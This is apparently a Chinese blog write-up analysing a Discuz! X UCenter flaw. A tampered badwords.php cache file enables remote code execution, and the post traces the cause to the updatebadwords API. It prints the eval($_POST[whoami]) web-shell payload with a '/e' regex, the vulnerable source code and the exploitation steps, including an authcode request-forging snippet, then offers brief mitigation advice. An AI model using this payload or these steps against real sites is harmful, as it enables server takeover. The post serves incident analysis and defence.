一、漏洞起源
突然有同事反饋,無法注冊
看到這里不了解的同行估計一年懵逼,這里也是常用的漏洞攻擊,可以肯定的是 badwords.php文件被修改了 ,可以查看這個文件內容
<?php $_CACHE['badwords'] = array ( 'findpattern' => array ( 'balabala' => '/.*/e', ), 'replace' => array ( 'balabala' => 'eval($_POST[whoami]);', ), );
果然這里被篡改了
這個文件路徑在:uc_client/data/cache/badwords.php
正常的文件內容為
<?php $_CACHE['badwords'] = array ( );
首先需要做的是把這個文件改回來,然后堵住漏洞
二、漏洞根源
這個問題的根源在於api/uc.php文件中的updatebadwords方法,代碼如下:
function updatebadwords($get, $post) { global $_G; if(!API_UPDATEBADWORDS) { return API_RETURN_FORBIDDEN; } $data = array(); if(is_array($post)) { foreach($post as $k => $v) { $data['findpattern'][$k] = $v['findpattern']; $data['replace'][$k] = $v['replacement']; } } $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php'; $fp = fopen($cachefile, 'w'); $s = "
badwords
用的地方比較少,主要集中在uc的pm和user模塊中。
這里用user來舉例,在uc_client/model/user.php
文件中有一個check_usernamecensor
方法,來校驗用戶名中是否有badwords,如果有的話就將他替換掉,代碼如下:
function check_usernamecensor($username) { $_CACHE['badwords'] = $this->base->cache('badwords'); $censorusername = $this->base->get_setting('censorusername'); $censorusername = $censorusername['censorusername']; $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i'; $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username; if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) { return FALSE; } else { return TRUE; } }
可以看到代碼中使用了preg_replace,那么如果我們的正則表達式寫成“/.*/e",就可以在使用這個方法的地方進行任意代碼執行了。而這個方法在disucz中,只要是添加或者修改用戶名的地方都會用到。
三、漏洞利用
首先我們們訪問api/uc.php
,之后我們會發現uc處理機制中比較討厭的環節——用戶傳遞的參數需要經過UC_KEY
加密:
if(!defined('IN_UC')) { require_once '../source/class/class_core.php'; $discuz = C::app(); $discuz->init(); require DISCUZ_ROOT.'./config/config_ucenter.php'; $get = $post = array(); $code = @$_GET['code']; parse_str(authcode($code, 'DECODE', UC_KEY), $get);
所以這里需要有個前提,需要知道UC_KEY或者可以操控UC_KEY。那么問題來了,我們要怎么達到這個前提呢?
我們在后台中站長->UCenter
設置中發現有“UCenter 通信密鑰
”這個字段,這是用於操控discuz和uc連接的app key,而非高級的uc_server key,不過對於我們getshell來說足夠了。在這里修改為任意值,這樣我們就獲取到了加密用的key值了。
可以看下配置文件,秘鑰已經發生變化
文件路徑為:config/config_ucenter.php
然后我們在自己搭建的discuz的api/uc.php
文件中添加兩行代碼,來加密get請求所需要的內容:
$a = 'time='.time().'&action=updatebadwords'; $code = authcode($a, 'ENCODE', 'R5vcQ374u2C2W6K7V7r9u1T7P6f9F5o2ObW6x1X0OeY7bfv5Mag4Yb6bf658D0d5'); echo $code; exit;
然后用post方法向api/uc.php發送帶有正則表達式信息的xml數據包,請求頭中有兩個地方需要注意,一個是formhash,一個是剛才獲取的code需要進行一次url編碼
發送后可以發現uc_client/data/cache
目錄下的badwords.php
內容就變了:
<?php $_CACHE['badwords'] = array ( 'findpattern' => array ( 'balabala' => '/.*/e', ), 'replace' => array ( 'balabala' => 'eval($_POST[whoami]);', ), );
之后利用方法就有很多種了,可以通過增加一個用戶來實現代碼執行,也可以通過發消息的方式來觸發,或者用戶注冊
四、總結
漏洞小結
1、影響范圍個人評價為“高”,Discuz! X系列使用范圍極廣
2、這個漏洞不只是單純的后台代碼執行,在uc_app key泄露的情況下也是可以利用的
防護方案
限制用戶提交正則表達式的內容
不允許這用就對了